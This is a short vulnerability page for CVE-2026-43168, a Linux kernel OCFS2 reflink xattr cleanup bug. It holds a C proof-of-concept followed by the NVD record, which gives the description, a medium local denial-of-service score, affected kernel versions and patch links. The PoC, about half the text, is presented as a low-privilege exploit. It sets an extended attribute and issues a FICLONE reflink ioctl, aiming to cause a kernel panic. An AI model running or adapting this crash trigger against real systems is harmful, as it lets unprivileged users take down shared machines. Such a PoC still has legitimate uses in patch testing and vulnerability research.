CVE-2026-43168

/* * PoC for CVE-2026-43168 (OCFS2 Reflink Cleanup Issue) * This code attempts to trigger the vulnerability by creating a file * with extended attributes on an OCFS2 filesystem and performing a reflink. * Requires root to mount OCFS2, but exploit runs as low-priv user. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/xattr.h> #include <unistd.h> #include <linux/fs.h> #define SRC_FILE "/mnt/ocfs2/source_file" #define DST_FILE "/mnt/ocfs2/dest_file" #define ATTR_NAME "user.test" #define ATTR_VALUE "poc_data" int main() { int src_fd, dst_fd; // Create a source file src_fd = open(SRC_FILE, O_CREAT | O_WRONLY, 0644); if (src_fd < 0) { perror("open src"); return 1; } write(src_fd, "content", 7); close(src_fd); // Set an extended attribute to trigger xattr logic if (setxattr(SRC_FILE, ATTR_NAME, ATTR_VALUE, sizeof(ATTR_VALUE), 0) != 0) { perror("setxattr"); return 1; } // Trigger reflink operation src_fd = open(SRC_FILE, O_RDONLY); dst_fd = open(DST_FILE, O_CREAT | O_WRONLY, 0644); if (src_fd < 0 || dst_fd < 0) { perror("open files for reflink"); return 1; } // FICLONE is the ioctl for reflinking if (ioctl(dst_fd, FICLONE, src_fd) < 0) { perror("ioctl FICLONE"); } else { printf("[+] Reflink operation triggered. Check kernel logs for panic/crash.\n"); } close(src_fd); close(dst_fd); return 0; }

{"cve": {"id": "CVE-2026-43168", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:35.060", "lastModified": "2026-05-13T14:51:05.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix reflink preserve cleanup issue\n\ncommit c06c303832ec (\"ocfs2: fix xattr array entry __counted_by error\")\ndoesn't handle all cases and the cleanup job for preserved xattr entries\nstill has bug:\n- the 'last' pointer should be shifted by one unit after cleanup\n an array entry.\n- current code logic doesn't cleanup the first entry when xh_count is 1.\n\nNote, commit c06c303832ec is also a bug fix for 0fe9b66c65f3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.32", "versionEndExcluding": "5.10.252", "matchCriteriaId": "8CE41C75-8DCF-44F0-8113-EB9D133FC448"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/02acc9f72365e50eb45a56b7dacb9114ca3b503c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2f4daccd9d9b8b2952df7878df8c2e8ba6439398", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3bdc3766aafb052aef4baadef455a84c1c0a059d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5138c936c2c82c9be8883921854bc6f7e1177d8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8ff329353134280b203cb2bce95311cb8f7cbd8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b2952dbeac2c3c527cb0519d5ffaeb95b062466a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bb273b68c1719c2925e05557f7e7099edb066680", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c44d86ca949cb1e5566ad14510cc26fa1a17e2d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}